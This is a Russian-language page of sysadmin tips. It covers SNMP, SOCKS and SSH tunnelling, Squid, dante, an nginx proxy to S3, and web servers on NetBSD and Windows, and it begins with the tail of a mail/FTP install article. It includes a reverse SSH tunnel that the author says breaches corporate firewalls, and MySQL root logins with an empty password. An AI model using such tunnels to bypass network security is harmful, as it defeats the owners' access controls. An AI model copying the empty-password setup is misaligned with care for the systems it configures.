    Setup password: OpenSUSE15
    
    
    
    
    
    
    
    
    Установка Roundcubemail.
    
    Выполним команду:
    
       # ./adc_install.sh -rcube
    
       imap_host = ssl://webmail.dyhap.net:993
       smtp_host = ssl://webmail.dyhap.net:465
    
    Любой пользователь домена получает права на пользование Roundcubemail.
    
    
    
    
    
    
    
    
    
    Установка VSFTPd Сервера.
    
    Выполним команду:
    
       # ./adc_install.sh -ftp
    
    
    
    
    
    
    VSFTPd Сервер прекрасно работает.
    
    Пользователь "test_user" получил права на пользование VSFTPd Сервером.
    
    
    
    
    
    
    
    
    
    
    
    
    Apache Directory Studio - это бесплатный инструмент среды разработки,
    предназначенный для создания и управления LDAP-серверами.
    
    
    LDAP (Lightweight Directory Access Protocol) - это протокол,
    используемый для доступа к каталогам, которые хранят
    информацию об объектах в системе.
    
    
    
    
    
    
    
    Это базовая установка Сервера.
    
    Ну вот...и всё, конфигурационные файлы известны и теперь вы можете точнее
    настроить сервер под свои нужды.
    
    
    Уточнение: в статье используются самоподписанные сертификаты, при необходимости
    их следует заменить на настоящие SSL-сертификаты.
    
     

       SNMP

    ----* Как по SNMP скинуть dialup пользователя с линии (Cisco AS)   [комментарии]
     
    Скинуть пользователя по заданному порту (N) можно через OID:
            1.3.6.1.4.1.9.9.150.1.1.3.1.5.N
            snmpset as-1.test.ru private .1.3.6.1.4.1.9.9.150.1.1.3.1.5.N i 1
    Соспоставить логин с номером порта можно через OID:
            1.3.6.1.4.1.9.9.150.1.1.3.1.2
    Или из FAQ: snmpset -v1 as-1.test.ru private .1.3.6.1.4.1.9.2.9.10.0 i $line
    
     
    ----* Как в UCD-SNMP прописать скрипт для обработки нужного MIB ObjectID   [обсудить]
     
    Полный контроль над MIBOID осуществляется с помощью команды pass.
    pass MIBOID EXEC-COMMAND
    Например: 
    pass .1.3.6.1.4.1.2021.255 /bin/sh /usr/local/local/passtest
    Как писать обработчик passtest, можно найти в поставке ucd-snmp.
    Если просто нужно выдать результат выполнения скрипта, можно использовать exec:
    exec .1.3.6.1.4.1.2021.51 ps /bin/ps 
    
     

       Socks proxy

    ----* Организация работы Opera и других приложений через Socks (доп. ссылка 1)   [комментарии]
     
    Если на локальной машине кроме socks имеется выход в интернет или доступ к
    DNS-резолверу, проблем не возникает, но если выход машины производится только
    через socks при запуске программ подобных браузеру opera всплывает неприятная
    проблема с резолвингом имен. Проблема в том, что утилиты подобные tsocks не
    позволяют перенаправлять DNS запросы через Socks и организовать работу
    резолвера поверх этого протокола.
    
    Выход найден в использовании privoxy (http://www.privoxy.org/), некеширующего
    HTTP-прокси, умеющего организовывать проброс трафика через Socks и самое важное
    - умеющего резолвить DNS-имена на socks-сервере.
    
    Ставим privoxy:
    
       sudo apt-get install privoxy
    
    Предположим на локальной машине имеется доступ к socks-серверу 127.0.0.1:1080
    В моем случае socks использовался для организации выхода в Интернет через
    телефон на платформе Android, делается это так:
    На телефоне включаем в настройках режим "USB Debugging" (Settings /
    Applications / Development) и запускаем программу Tetherbot (http://graha.ms/androidproxy/Tetherbot.apk).
    На локальный компьютер копируем программу adb из состава Android SDK и выполняем:
    
       ./adb forward tcp:1080 tcp:1080 
    
    теперь в Firefox можно прописать socks-сервер 127.0.0.1:1080 и  поставить в
    about:config network.proxy.socks_remote_dns=true, все будет прекрасно работать.
    Но нам нужно заставить работать opera и другие программы, поэтому настраиваем privoxy.
    
    В /etc/privoxy/config проверяем наличие директивы (по умолчанию выбран порт 8118)
    
       listen-address  127.0.0.1:8080
    
    и добавляем строку:
    
       forward-socks4a   /  127.0.0.1:1080  .
    
    или 
    
      forward-socks5   /  127.0.0.1:1080  .
    
    (внимание, режим forward-socks4 проброс DNS не поддерживает)
    
    Запускаем privoxy:
    
       sudo /etc/init.d/privoxy start
    
    
    Далее в opera устанавливаем в настройках обычного HTTP-прокси хост 127.0.0.1 и
    порт 8080. Все прекрасно работает, более того в качестве бонуса privoxy по
    умолчанию вырезает рекламу.
    
    Для консольных приложений удобно использовать пакет proxychains
    (http://proxychains.sourceforge.net/) в состав которого входит  утилита
    proxyresolv для резолвинга имен через socks.
    
     
    ----* Решение проблем с DNS сервером при работе Firefox через Socks прокси   [комментарии]
     
    По умолчанию при включении работы Firefox через Socks прокси, DNS запросы
    продолжают обрабатываться
    локальным резолвером, что приводит к неработе преобразования имен в Firefox при
    отсутствии на машине
    иного выхода в сеть, кроме socks сервера.
    
    Решение: в настройках about:config следует поменять значение переменной network.proxy.socks_remote_dns
    с false на true, тогда DNS запросы начнут транслироваться через socks сервер.
    
    При нахождении в недоверительной сети, самый простой способ поднять socks
    туннель через внешний сервер:
    
       ssh -D 1080 логин@ip_сервера
    
    а затем настроить на локальной машине доступ через socks5 127.0.0.1:1080
    
     
    ----* Туннели с использованием SSH. Режим эмуляции Socks proxy в SSH (доп. ссылка 1) (доп. ссылка 2)   Автор: Vladimir Brednikov  [комментарии]
     
    1. Режим эмуляции Socks proxy в SSH
    
    Допустим, у нас есть рабочая станция в локальной сети за firewall'ом;
    также имеется ssh-доступ на сервер в Интернете. Кроме ssh, никакой связи с
    внешним миром не имеется,
    а очень хочется, например, подключиться к какому-нибудь jabber-серверу.
    
    На рабочей станции запускаем простую команду:
    
       ssh -D 5555 user@remotehost -f -N
    
    , где -D 5555 - эмуляция SOCKS сервера через порт 5555 
    -f  - работа в фоне, после аутентификации
    -N - не запускать shell на удаленном хосте.
    
    Теперь, указав в настройках XMPP-клиента (например, Pidgin'а) в качестве SOCKS5
    прокси localhost:5555,
    получим желаемый результат: Pidgin соединяется с сервером через внешний сервер.
    
    
    2. Туннель ssh
    
    Дано: сервер локальной сети ourproxy.provider.ru, доступный извне.
    
    Требуется: получить из дома доступ к ресурсам внутри локальной сети, например,
    к интранет-серверу 10.10.5.1:80
    
    Решение: выполнить на домашней машине команду, пробрасывающую туннель к
    искомому IP-адресу через ourproxy.provider.ru:
    
        ssh -f -N user@ourproxy.provider.ru -L 8080:10.10.5.1:80
    
    Опция -f говорит ssh, что после соединения нужно уйти в background.
    Опция -N указывает, что никаких команд выполнять не нужно
    Ключ -L означает, что соединения к localhost на порт 8080 нужно перенаправлять
    на 80 порт IP-адреса 10.10.5.1
    
    Таким образом, набирая в браузере адрес http://localhost:8080, попадаем на нужный сервер.
    
    
    3. Обратный туннель ssh
    
    
    Дано: компьютер на работе, находящийся за firewall'ом и nat'ом; компьютер дома
    с доступом в интернет;
    сервер ourproxy.provider.ru с работающим sshd, доступный обоим компьютерам. 
    Но в данном случае прямой доступ с ourproxy.provider.ru к рабочей машине отсутствует.
    
    Требуется: получить из дома доступ к сервису sshd на рабочем компьютере.
    
    Решение: на рабочей машине выполнить команду:
    
        ssh -f -N user@ourproxy.provider.ru -R 12345:localhost:22
    
    Опции -f и -N описаны несколькими строчками выше.
    Ключ -R означает, что подключения к порту 12345 на ourproxy.provider.ru будут
    перенаправляться на 22 порт рабочего компьютера.
    
    После выполнения этой команды с рабочей машины можно будет попасть на эту
    машину с ourproxy.provider.ru,
    выполнив команду:
    
        ssh -p 12345 user@locahost
    
    По этому же принципу можно получить доступ к прочим ресурсам локальной сети. Вот еще один пример.
    
    На рабочей машине:
    
        ssh -f -N user@ourproxy.provider.ru -R 8080:10.10.5.1:80
    
    На домашней машине:
    
        ssh -f -N user@ourproxy.provider.ru -L localhost:8080:localhost:8080
    
    Теперь, набрав в адресной строке браузера на домашнем компьютере http://localhost:8080, 
    получаем доступ к интранет-серверу за семью замками двумя firewall-ами.
    
    Конечно же, это приводит к серьёзной бреши в корпоративной безопасности, 
    поэтому крайне не рекомендуется злоупотреблять этим советом.
    
     
    ----* Как заставить любую программу работать через HTTP прокси (доп. ссылка 1)   Автор: zabivator  [комментарии]
     
    Ниже пример как заставить ICQ клиента, например http://kopete.kde.org, работать через HTTP прокси.
    Суть метода: icq_client => socks => http_proxy
    
    Ставим пакет dante-client - пользователям debian это сделать можно так:
        sudo apt-get install dante-client
    
    Затем залазим в настройки ( в debian'e - /etc/dante.conf)
    В конце файла прописываем:
       route {
          from: 0.0.0.0/0 to: 0.0.0.0/0 via: proxy.testhost.ru port = 3128
          proxyprotocol: http_v1.0
       }
    
    Где proxy.testhost.ru - адрес http прокси, 3128 - порт прокси. П
    
    Дальше запускаем kopete... следующим образом:
    
       socksify kopete
    
    Пробрасывать весь трафик приложения через socks v.4 или v.5 сервер можно также
    используя http://tsocks.sourceforge.net/
    
     
    ----* 3 шага для перехода на UTF-8 во FreeBSD (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    1. в ~/.xinitrc пишем (именно сюда а не в /etc/profiles потому как
    системная консоль FreeBSD не поддерживает юникод, посему локаль сия
    будет использоваться только в иксах):
    
      export LANG='ru_RU.UTF-8'
      export LC_ALL='ru_RU.UTF-8'
    
    2. выполняем конвертацию содержимого файловой системы из koi8-r в
    UTF-8 (необходим порт converters/convmv):
    
       %convmv -f koi8-r -t UTF-8 путь_к_разделу/* --notest -r
    
    3. далее все зависит от терминала, если у вас что-то вроде
    gnome-terminal, то достаточно будет сменить кодировку в опциях на
    UTF-8, если же у вас что-то вроде xterm'а, тогда в ~/.Xresources
    необходимо будет поменять шрифт, например так (для этого шрифта
    необходим пакет x11-fonts/terminus-font):
    
       XTerm*font: -*-terminus-medium-*-*-*-*-*-*-*-*-iso10646-1
    
    для syscons(4) на i386:
    
    1. ставим sysutils/jfbterm и textproc/uim-m17nlib
    2. меняем стандартную переключалку языка с Shift+Space на Ctrl+\
       добавлением в ~/.uim
    
    	(define-key generic-on-key? "<Control>\\")
    	(define-key generic-off-key? "<Control>\\")
    
    3. ставим локаль и добавляем запуск uim-fep и jfbterm в ~/.profile
    	export LANG=ru_RU.UTF-8
    	exec jfbterm -e uim-fep
       или в ~/.login (для tcsh)
    	setenv LANG ru_RU.UTF-8
    	exec jfbterm -e uim-fep
    
    Для syscons(4), универсальный способ, неполный юникод:
    
    1. ставим шрифт и раскладку koi8-r в /etc/rc.conf
    
       # шрифт
       font8x8=koi8-r-8x8
       font8x14=koi8-r-8x14
       font8x16=koi8-r-8x16
       # раскладка
       keymap=ru.koi8-r
    
    2. ставим sysutils/screen, рекомендую более новый
       ftp://ftp.lissyara.su/users/Guest/screen.diff
    
    3. ставим локаль и добавляем запуск screen в ~/.profile (для sh)
    
       # экспортируем локаль и тип терминала
       export LANG=ru_RU.UTF-8 TERM=xterm
       # запускаем сессию 'desktop', если уже не запущена
       if ! screen -S desktop -ls | fgrep -q desktop; then
          screen -S desktop -dm
       fi
       # подсоединяемся к сессии 'desktop'
       if vidcontrol -i adapter >&- 2>&-
       then
          # в syscons используем локаль koi8-r
          LC_CTYPE=ru_RU.KOI8-R TERM=cons25r \
          exec screen -x desktop
       else
          # в X'ах используем дефолтную локаль
          exec screen -x desktop
       fi
    
    Примечание:
    
    Символы за пределами koi8-r будут отображаться как ??? (вопросики).
    Если хотите полный (многоязычный) юникод, то используйте способ с jfbterm.
    
     
    ----* Как заставить приложение работать через Socks или посылать запрос с другого IP   [обсудить]
     
    В комплекте socks клиента dante (http://www.inet.no/dante/) есть скрипт
    socksify, который позволяет
    прозрачно пробрасывать весь трафик приложения через socks сервер.
    Например:
        socksify ssh
    
    Предварительно, в /etc/socks.conf нужно прописать параметры сервера, например:
       route {
               from: 0.0.0.0/0   to: 0.0.0.0/0   via: 192.168.1.1 port = 1080
               protocol: tcp udp
               proxyprotocol: socks_v5
       }
    
    где, 192.168.1.1 - адрес прокси сервера.
    
    Другой вариант socks-враппера - tsocks (http://tsocks.sourceforge.net/). В /etc/tsocks.conf пишем:
    
       server = 127.0.0.1
       server_type = 5
       server_port = 1080
    
    Инициируем socks-сервер в ssh:
    
       ssh -D localhost:1080 имя_хоста_через_который_организуем_туннель
       
    Запускаем программу, которая будет работать через socks:
    
       tsocks opera
       
    Для переброса трафика через HTTP прокси (используя метод CONNECT), подходит библиотека libconnect 
    (http://libconnect.sourceforge.net/). Пример скрипта:
    
       #!/bin/sh
       export LD_PRELOAD=/usr/lib/libconnect.so
       прграмма
    
    Адрес прокси прописывается в /etc/libconnect.conf:
       p:192.168.1.1/3128   
    
    Можно использовать враппер из комплекта:
        libconnect telnet 111.222.123.234 23
    
    
    
    Для отправки запроса с другого IP, привязанного к сетевому интерфейсу (алиаса),
    можно использовать libsis
    (http://www.palfrader.org/libsis/). Пример:
    
       #!/bin/sh
       export LD_PRELOAD=/usr/local/lib/libsis.so
       export SIS_SOURCE=192.168.10.99
       программа
    
     
    ----* Как разбалансировать равномерно в Squid трафик между несколькими линками   [комментарии]
     
    Пример равномерной балансировки по 3 каналам:
    
    # acl rand1 dst 0.0.0.0/0.0.0.192
    acl rand2 dst 0.0.0.64/0.0.0.192
    acl rand3 dst 0.0.0.128/0.0.0.192
    acl rand4 dst 0.0.0.192/0.0.0.192
    acl rand5 dst 0.0.0.192/0.0.0.224
    # acl rand6 dst 0.0.0.224/0.0.0.224
    
    tcp_outgoing_address 10.1.1.1 rand2
    tcp_outgoing_address 10.1.1.1 rand3
    tcp_outgoing_address 10.1.1.2 rand4
    tcp_outgoing_address 10.1.1.2 rand5
    tcp_outgoing_address 10.1.1.3
    
     
    ----* Пример настройки dante socks сервера.   [комментарии]
     
    /etc/sockd.conf:
    # Куда пишем логи.
       logoutput: /var/log/socks/socks.log
    # На каком сетевом интерфейсе и порту обслуживаем socks клиентов.
       internal: rl0 port = 1080  # или можно указать IP: internal: 10.1.1.1 port = 1080
    # С какого IP или интерфейса выходим во внешний мир.
       external: ed0 # или external: 1.2.3.4
    # Используемый метод авторизации клиентов. none - без авторизации.
       method: username none #rfc931
    # Разрешаем клиенту 192.168.0.2 выход через socks.
    client pass {
           from: 192.168.0.2/32 to: 0.0.0.0/0
           log: connect disconnect iooperation
    }
    #Пример, как разрешить соединения от сервера.
    pass {
            from: 0.0.0.0/0 to: 0.0.0.0/0
            command: connect udpassociate
            log: connect disconnect iooperation
    }
    # Пример, как запретить соединения от сервера
    block {
           from: 0.0.0.0/0 to: 0.0.0.0/0
           log: connect error
    }
    
     
    ----* Пример настройки хоста работающего через socks (клиента)   [обсудить]
     
    /etc/socks.conf:
    # Запросы к DNS серверу 192.168.1.2 - директом.
    route { 
       from: 0.0.0.0/0 to: 192.168.1.2/32 port = domain via: direct
    }
    # Loopback трафик директом.
    route{
       from: 0.0.0.0/0   to: 127.0.0.0/8  via: direct 
    }
    # Все запросы черех socks сервер 192.168.1.1 порт 1080.
    route {
      from: 0.0.0.0/0   to: 0.0.0.0/0   via: 192.168.1.1 port = 1080
      protocol: tcp udp
      proxyprotocol: socks_v4  # Варианты: socks_v5, http_v1.0 - через http прокси, msproxy_v2
      method: none # username - когда нужна авторизация
    }
    
     
    ----* Как в dante socks проконтролировать объем прокачиваемого трафика.   [обсудить]
     
    logoutput: /var/log/socks/socks.log
    pass {
        ....
       log: connect disconnect iooperation
    }
    
     

       WWW, Apache httpd

    ----* Проксирование запросов к S3 с помощью nginx и angie   Автор: umask  [комментарии]
     
    С помощью nginx/angie и встроенного модуля perl можно проксировать запросы
    напрямую к S3. Ниже приведён пример для реализации S3 от DigitalOcean (Spaces).
    Для Amazon AWS S3 пример тоже подходит. Для авторизации доступа можно
    использовать пример совместно с модулем secure_link.
    
    
       http {
    	...
    	perl_set $date
    	'sub {
    		use POSIX qw(strftime);
    		return strftime("%Y%m%d", gmtime());
    	}';
    
    	perl_set $datetime
    	'sub {
    		use POSIX qw(strftime);
    		return strftime("%Y%m%dT%H%M%SZ", gmtime());
    	}';
    
    	### yum install perl-Digest-SHA
    	perl_set $signed_digest
    	'sub {
    		use Digest::SHA qw(hmac_sha256 hmac_sha256_hex sha256_hex);
    
    		my $r = shift;
    
    		my $data_key = hmac_sha256($r->variable(date), "AWS4" . $r->variable(aws_access_secret));
    		my $region_key = hmac_sha256($r->variable(aws_region), $data_key);
    		my $service_key = hmac_sha256($r->variable(aws_service), $region_key);
    		my $signing_key = hmac_sha256("aws4_request", $service_key);
    
    		my $hash = sha256_hex($r->variable(canonical_request));
    		my $str =
    			"AWS4-HMAC-SHA256" . "\n" .
    			$r->variable(datetime) . "\n" .
    			$r->variable(date) . "/" .
    			$r->variable(aws_region) . "/" .
    			$r->variable(aws_service) .
    			"/aws4_request" . "\n" .
    			$hash;
    
    		return hmac_sha256_hex($str, $signing_key);
    	}';
    	...
    	server {
    		...
    		location @s3 {
    			set $provider 'digitaloceanspaces.com';
    			set $bucket 'my-bycket-name';
    			set $aws_access_key 'my-key';
    			set $aws_access_secret 'my-secret';
    			set $aws_region 'ams3';
    			set $aws_service 's3';
    
    			### perl -e 'use Digest::SHA qw(sha256_hex); my $s = sha256_hex(""); print $s, "\n"'
    			set $empty_hash 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855';
    
       set $canonical_request 'GET\n$uri\n\nhost:$bucket.$aws_region.$provider\nx-amz-content-sha256:$empty_hash\nx-amz-date:$datetime\n\nhost;x-amz-content-sha256;x-amz-date\n$empty_hash';
    
    			proxy_buffering off;
    			proxy_buffer_size 1m;
    			proxy_buffers 64 64k;
    
    			proxy_connect_timeout 11s;
    			proxy_send_timeout 14s;
    			proxy_read_timeout 17s;
    
       proxy_next_upstream error timeout invalid_header http_500 http_502 http_503
    http_504 http_403 http_404;
    			proxy_next_upstream_timeout 30s;
    			proxy_next_upstream_tries 3;
    
    			proxy_hide_header Strict-Transport-Security;
    			proxy_hide_header x-amz-request-id;
    			proxy_hide_header x-amz-meta-s3cmd-attrs;
    
    			proxy_http_version 1.1;
    
    			proxy_set_header Host '$bucket.$aws_region.$provider';
    			proxy_set_header x-amz-date '$datetime';
       proxy_set_header Authorization 'AWS4-HMAC-SHA256 Credential=$aws_access_key/$date/$aws_region/$aws_service/aws4_request,SignedHeaders=host;x-amz-content-sha256;x-amz-date,Signature=$signed_digest';
    			proxy_set_header x-amz-content-sha256 '$empty_hash';
    			proxy_set_header Range '$http_range';
    
    			proxy_pass_request_headers off;
    			proxy_pass_request_body off;
    
    			proxy_pass https://$bucket.$aws_region.$provider;
    		}
    		...
    	}
    	...
       }
    
     
    ----* Организация кэширования только медленных ответов сервера при помощи Nginx (доп. ссылка 1)   [комментарии]
     
    Пример организации на стороне фронтэнда кэширования контента, который начинает
    отдаётся бэкендом дольше, чем через 3 секунды. Запросы, которые отдаются менее,
    чем за 3 секунды передаются клиенту минуя кэш. Время жизни записи в кэше
    составляет 60 секунд. Для расчёта времени отдачи используются два блока vhost
    с передачей переменной со временем задержки в заголовке X-Accel-Expires,
    созданной при помощи директивы "map".
    
       proxy_cache_path /home/tmpcache/mycache levels=1:2 keys_zone=example:10m;
    
       # Для запросов дольше 3 секунд устанавливаем время жизни записи в кэше в 60 секунд, иначе 0 (отдаём минуя кэш).
       map $request_time $longtime {
           "~^([3-9]|[1-9][0-9]+)\\." 60;
           default 0;    
       }
    
       server {
           listen 127.0.0.1:8888;
           root /var/www/;
           server_name example.com; 
           location / { 
               proxy_redirect          off;
               proxy_set_header        Host $host;
               proxy_pass              http://mybackend;
               add_header X-Accel-Expires $longtime;
           }
       }
    
       server {
           listen 8080;
           root /var/www/;
           server_name example.com; 
           location / { 
               proxy_redirect          off;
               proxy_set_header        Host $host;
               proxy_pass              http://127.0.0.1:8888;
               proxy_cache             example;
               proxy_cache_valid       200 0m;
               add_header X-Cached $upstream_cache_status;
               add_header X-Time $request_time;
            }
       }
    
    
    Проверка:
    
       # curl -I "http://example.com:8080/mylongrequest" 
    
       ...
       X-Cached: MISS
       X-Time: 11.862
    
    повторный запрос будет выдан из кэша:
    
       # curl -I "http://example.com:8080/mylongrequest" 
       ...
       X-Cached: HIT
       X-Time: 0.000
    
     
    ----* Настройка web-сервера на базе bozohttpd и NetBSD 5.x   Автор: Калегин Сергей Николаевич  [комментарии]
     
    С недавних пор я перевёл все свои сервера на операционные системы BSD и хочу
    рассказать об их преимуществах по сравнению с другими ОС, а также поделиться
    опытом их установки и настройки.
    
    Итак. Сразу хотелось бы предупредить вопросы, связанные с выбором этих систем.
    Почему я выбрал именно BSD (преимущественно OpenBSD и NetBSD)? Дело в том, что
    это лучшие операционные системы из тех, с которыми мне приходилось работать! До
    BSD на моих серверах стояли различные версии и реализации ОС Windows, Linux и
    Mac OS, однако ни одна из них не смогла обеспечить такую стабильность,
    нетребовательность к ресурсам и универсальность, а также простую, быструю и
    лёгкую настройку сервера (а именно этим сисадмин и занимается) как системы BSD.
    Более подробно об этом, я постараюсь рассказать в следующих своих статьях на
    данном сайте. А начать обзорный цикл статей по работе с системами BSD мне
    хотелось бы с демонстрации поразительной простоты и целостности данных ОС. Для
    примера я взял установку и настройку Web-сервера "с нуля", так как это одна из
    самых популярных функций сервера и, наверное, самая популярная ассоциация у
    пользователей всемирной паутины. К тому же, сделать это на баз е последних
    версий NetBSD и OpenBSD не просто, а ОЧЕНЬ просто!
    Делается это всего в три шага:
    
    1) Выбрать компьютер для установки сервера;
    2) Установить и настроить операционную систему (возьмём NetBSD 5.0);
    3) Запустить и настроить bozohttpd (встроенный Web-сервер NetBSD 5.x).
    
    Вся эта работа займёт всего несколько минут!!! Скорость и простота - главные
    преимущества BSD-систем!
    
    1. Начнём с выбора компьютера для установки сервера. Хотя... особый подбор
    здесь не требуется, так как, в данном случае, подойдёт практически любой
    компьютер, который попадётся под руку (старый, слабый, списанный в утиль и
    т.п.), ведь NetBSD - самая универсальная система в мире! Её можно поставить
    куда угодно, даже на тостер (в котором хлеб жарят)!
    
    2. Далее, устанавливаем на выбранный компьютер ОС NetBSD. Для этого потребуется
    всего несколько сотен мегабайт (!!!) свободного места на диске (ну или на том
    носителе, куда Вы будете ставить систему) и пара минут времени. Подробное
    описание процесса установки я дам в отдельной статье. А для тестового сервера
    подойдут параметры по умолчанию, просто следуйте инструкциям на экранах
    инсталлятора (sysinst).
    
    3. Ну а теперь самое интересное - запуск и настройка Web-сервера. Для этого в
    ОС NetBSD (как и в OpenBSD) ничего дополнительно ставить не придётся, так как в
    этих системах уже есть набор основных серверов (демонов), их нужно только
    включить! Делается это очень просто. Открываем на редактирование (с правами
    root-a) файл /etc/rc.conf и прописываем в него всё, что касается настроек httpd
    (там всего 4 пунктика). Образец данного конфигурационного файла (с примерами
    запуска различных серверов) лежит в каталоге /etc/defaults/ и он же является
    конфигурационным файлом по умолчанию (если в /etc/rc.conf ничего не прописано).
    Если же копаться в этом sample лень, то можно воспользоваться текстовым
    фильтром grep для извлечения нужных пунктов из /etc/defaults/rc.conf. Делается
    это так (один из вариантов):
    
       cat /etc/defaults/rc.conf | grep httpd >> /etc/rc.conf
    
    В результате выполнения этой команды в файл /etc/rc.conf будут добавлены все
    необходимые записи для запуска и конфигурации http-сервера. Остаётся их только подправить:
    
       httpd=YES (запускает сам сервер bozohttpd)
    
    После этого нужно прописать домашний каталог нашего сайта в директиве httpd_wwwdir, например так:
    
       httpd_wwwdir="/WWW"
    
    Если ничего не менять, то по умолчанию будет использован каталог /var/www/.
    
    Остальные можно оставить как есть.
    
    Вот и всё. Теперь у вас свой Web-сервер. После перезагрузки, разместите
    стартовый файл index.html (с которого начинается просмотр сайта) в папку
    /var/www/ и проверьте работу сервера с помощью браузера (лучше с другого
    компьютера сети) по адресу http://192.168.1.50/, где IP-шник 192.168.1.50
    является адресом вашего сервера в сети. Более того, сервер изначально
    поддерживает CGI и позволяет обрабатывать запросы Web-пользователей с помощью
    shell-скриптов, расположенных в специальной папке, указание на которую
    прописывается в качестве параметра непосредственно при запуске httpd или же
    флага в файле /etc/rc.conf например так:
    
       httpd_flags="-c /var/www/cgi" (все CGI-скрипты должны лежать в этой директории)
    
    Код CGI-скрипта для /bin/sh выглядит примерно следующим образом:
    
       #!/bin/sh
    
       echo "Content-type: text/html";
       echo "";
    
       echo Today is `date`;
    
       exit 0;
    
    (Данный скрипт просто выводит текущую дату на экран.)
    
    При необходимости, с помощью той же команды echo "...."; можно выводить и
    HTML-код или же можно вставить его из отдельного файла с помощью cat и т.п. программ.
    
    Обратите внимание на то, что при обращении к CGI-файлу в URL обязательно нужно
    указывать инфикс .../cgi-bin/..., иначе он выполняться не будет! И не забудьте
    сделать скрипт исполняемым (с помощью команды chmod). Например:
    
       chmod +x test1.sh
    
    Далее можно обращаться к нему напрямую:
    
       /var/www/cgi/./test1.sh
    
    или же через браузер:
    
       http://192.168.1.50/cgi-bin/test1.sh
    
    Причём скрипты могут быть написаны как с помощью команд командного
    интерпретатора (типа /bin/sh) так и на любом языке программирования, для
    которого имеется интерпретатор в вашей системе (например Perl или Python).
    
    После того как сервер уже заработал, наверняка, многие озадачатся вопросом
    насчёт конфигурации bozohttpd. Так вот, у этого сервера нет файлов конфигурации
    и это здорово! Никаких десятков непонятных инструкций (как, например у Apache),
    всё прописывается непосредственно при запуске сервера в качестве параметров
    (флагов). Описание всех этих параметров есть в man-e по httpd данной
    операционной системы (http://wiki.lissyara.su/wiki/Bozohttpd).
    
    
    Во второй части данной статьи я хотел бы поделиться своим опытом и рассказать о
    том как использовать встроенный Web-сервер операционных систем NetBSD 5.x в
    связке типа HTTPD+PHP+MySQL вместо установки более мощного, но и более
    громоздкого и сложного Apache.
    
    После проверки работоспособности сервера можно приступать к установке и
    настройке дополнительных пакетов. Я приведу пример только для PHP и MySQL,
    однако другие ставятся и работают аналогично. Установить нужное ПО можно, как
    минимум, 2-мя способами: компиляцией непосредственно из исходников или же
    добавлением уже готового пакета с помощью pkg_add. Для краткости я возьму
    второй способ.
    
    Качаем с официального сайта пакеты типа php-5.x.tgz, mysql-php.tgz и
    mysql-server-5.x.tgz (версии могут быть любыми) и устанавливаем их с помощью
    pkg_add, например:
    
       pkg_add -v php-5.3.6.tgz
    
    После окончания установки всех пакетов перезагружаемся!
    Затем подключаем интерпретатор языка PHP к bozohttpd c помощью флага (или
    параметра) -С .php /usr/pkg/libexec/cgi-bin/php и устанавливаем новый стартовый
    файл для сайта - index.php. Выглядит это так:
    
       httpd_flags="-С .php /usr/pkg/libexec/cgi-bin/php -x index.php"
    
    Теперь создаём тестовый PHP-скрипт (например test1.php) и запрашиваем его через браузер:
    
      http://192.168.1.50/test1.php
    
    Всё должно заработать!
    
    Теперь проверяем работу СУБД MySQL. Запускаем mysql client (который
    устанавливается вместе с сервером) и даём несколько тестовых команд, например:
    
       mysql -uroot -p (вход под root-ом с пустым паролем)
       show databases; (выводит список баз данных)
       use mysql; (подключаемся к базе mysql)
       show tables; (выводит список таблиц этой базы)
       quit; (выходим из mysql)
    
    Если все эти команды были приняты и выполнены интерпретатором, значит MySQL уже
    работает. Так же можно проверить работу MySQL с помощью скриптов для /bin/sh,
    например таким:
    
       #!/bin/sh
       echo "select Host, User from user" | mysql -uroot -p mysql;
       exit 0;
    
    Данный скрипт выведет список хостов и пользователей MySQL.
    
    Теперь осталось только проверить связку PHP+MySQL и соединить их с Web-сервером.
    Пишем скрипт на PHP для соединения с СУБД и делаем простой запрос, например так:
    
       $dbcn=mysql_connect("localhost", "root", "");
       mysql_select_db("mysql");
       $r=mysql_query("select Host, User from user");
       for($i=0; $i < mysql_num_rows($r); $i++)
       { $res=mysql_fetch_array($r); echo "$res[Host] $res[User]\n"; }
       mysql_close($dbcn);
    
    Результат выполнения этого скрипта будет аналогичен предыдущему на shell.
    
     
    ----* Установка Expires без использования mod_expires в Apache (доп. ссылка 1)   Автор: sanmai  [комментарии]
     
    Если на хостинге не установлен mod_expires, то управляющие кэшированием
    заголовки можно выдать добавив в .htaccess следующую конструкцию:
    
       <FilesMatch "\.(jpg|png|gif|js|css|ico|swf)$">
    	Header set Expires "Thu, 31 Dec 2037 23:55:55 GMT"
    	Header set Cache-Control "max-age=315360000"
       </FilesMatch>
    
     
    ----* Установка PHP 5.2 и PHP 5.3 для одновременной работы под управлением Apache в Windows   Автор: Евгений Пономарев  [комментарии]
     
    Если у Вас установлен Apache, то сделайте сперва копию папки установленной
    программы и аналогично для PHP.
    
    1. Сначала удаляем все, что связано с установками Apache и PHP из реестра.
    (панель управления->установка удаление программ (в XP) панель
    управления->программы и компоненты (Vista и windows7) удаляем Apache и PHP)
    
    2. Ставим два Apache в разные папки (из копии, не инсталятором .msi). Если нет
    копии, то пользуемся инсталлятором apache_2.2.14-win32-x86-no_ssl.msi,
    делаем копию установленной программы и снова ее удаляем.
    Создаем две папки (например D:\usr\apache22 и D:\usr\apache253) и копируем туда
    наш апач. Один Apache настраиваем на порт 8080 (главное не 80), второй на 8088.
    Правим httpd.conf, указав правильные пути для корня серверов, каждый для своей
    папки и указываем соответствующие порты для прослушивания.
    
    3. Устанавливаем каждый Apache как сервис.
    из командной строки:
    
       httpd -n apache22 -k install  - под этот апач поставим PHP 5.2
       httpd -n apache253 -k install - под этот апач поставим PHP 5.3
    
    4. Ставим PHP 5.2  в папку php (например D:\usr\php) из архива, а PHP 5.3 в
    папку php53 (например D:\usr\php53) из архива (обращайте внимание на версии
    PHP, они есть и x64, выбирайте необходимую Вам).
    
    5. Прописываем в httpd.conf модули подключения PHP
    
       LoadModule php5_module "D:/usr/local/php53/php5apache2_2.dll"
       PHPIniDir "D:/usr/local/php53"
       AddType application/x-httpd-php .php
    
    Запускаем Apache. Можно монитором из папки bin ApacheMonitor.exe
    или из командной строки:
    
       httpd -n apache22 -k start
       httpd -n apache253 -k start
    
    Если Apache при запуске выдал ошибку, не связанную с синтаксисом
    (неопознанную), копируем php5ts.dll  из директории php в папку apache/bin.
    
    Если в реестре не осталось упоминаний о PHP, то все заработает. Если не
    запустилось, проверьте переменные окружения windows на PHPRC. Их не должно быть.
    
    В windows 7 все запустилось без проблем.
    
    6. Теперь для удобства, можно поставить nginx, изменив его конфигурацию
    примерно так:
    
       server {
            listen       *:80;
            server_name  site.ru;
            location / {
